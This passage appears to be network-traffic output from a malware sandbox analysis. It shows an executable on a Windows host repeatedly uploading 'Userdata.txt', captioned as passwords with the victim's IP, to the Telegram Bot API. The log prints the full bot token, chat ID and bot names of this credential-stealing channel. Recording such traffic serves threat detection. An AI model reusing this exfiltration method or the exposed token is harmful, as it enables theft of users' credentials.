6	192.168.2.9	49782	149.154.167.220	443	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:23 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31d58447bfff Host: api.telegram.org Content-Length: 1090
2025-01-10 20:41:23 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 64 35 38 34 34 37 62 66 66 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31d58447bfffContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:24 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:24 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:24 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 35 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 36 38 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44650,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541684,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49798	149.154.167.220	443	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:25 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31ecffd0d8f8 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:41:25 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 65 63 66 66 64 30 64 38 66 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31ecffd0d8f8Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:26 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:26 GMT Content-Type: application/json Content-Length: 535 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:26 UTC	535	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 35 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 36 38 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44652,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541686,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49811	149.154.167.220	443	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:27 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd320728293363 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:41:27 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 30 37 32 38 32 39 33 33 36 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd320728293363Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:28 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:28 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:28 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 35 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 36 38 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44654,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541687,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49827	149.154.167.220	443	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:29 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd321d1ceee9b7 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:41:29 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 31 64 31 63 65 65 65 39 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd321d1ceee9b7Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:29 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:29 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:29 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 35 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 36 38 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44656,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541689,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49839	149.154.167.220	443	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:31 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32345e9c9580 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:41:31 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 33 34 35 65 39 63 39 35 38 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32345e9c9580Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:31 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:31 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:31 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 35 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 36 39 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44658,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541691,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49853	149.154.167.220	443	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:33 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd324b8d842ff1 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:41:33 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 34 62 38 64 38 34 32 66 66 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd324b8d842ff1Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:33 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:33 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:33 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 36 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 36 39 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44661,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541693,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	49865	149.154.167.220	443	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:35 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32614e208786 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:41:35 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 36 31 34 65 32 30 38 37 38 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32614e208786Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:35 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:35 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:35 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 36 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 36 39 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44663,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541695,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.9	49877	149.154.167.220	443	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:37 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3279b2cf9e25 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:41:37 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 37 39 62 32 63 66 39 65 32 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3279b2cf9e25Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:37 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:37 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
